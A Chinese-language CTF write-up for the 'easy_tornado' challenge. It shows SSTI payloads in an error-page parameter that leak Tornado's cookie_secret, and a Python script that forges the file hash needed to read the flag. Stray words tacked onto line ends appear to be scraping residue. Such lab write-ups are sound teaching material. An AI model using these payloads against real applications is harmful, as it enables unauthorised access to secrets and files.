護網杯 2018 easy_tornado

0x00php

題目類型:SSTI注入。node

0x01python

索引界面下三個文件,flag.txt提示flag在/fllllllllllllag,hint.txt提示hash生成方式爲md5(cookie_secret+md5(filename))。cookie

注意到訪問文件時爲filename+filehash的形式,咱們知道了flag的文件名,故只須要構造出flag的hash值,就能夠拿到flag了。框架

http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/file?filename=/hints.txt&filehash=11bc60156d94c420cbd493f8e2188214

題目名提示爲tornado框架,打算構造一個錯誤的數據看看,能不能看到版本之類的有用信息。隨便亂填了一個filehash後,跳轉到了一個報錯界面。tornado

http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/error?msg=Error

msg參數中的數據直接回顯在了界面上,猜想存在SSTI注入,傳入msg={{1}}試試,果真有回顯。構造msg={{handler.settings}},發現cookie_secret。code

0x02blog

本地跑出hash值,然後帶着hash值訪問flag文件。索引

payload:http://41855a0a-ea58-4611-a5e2-03840a4b9da6.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=18228a78a6afbdd48e1e4982d521ebadmd5

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 s = s.encode('utf-8')
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = '9b6d419c-e603-4470-b2ad-5b7a9674ec9c'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()

這裏我犯了一次傻,用php寫了一個腳本跑hash值,提交上去直接報錯了,後來想起tornado是python框架。。。。。。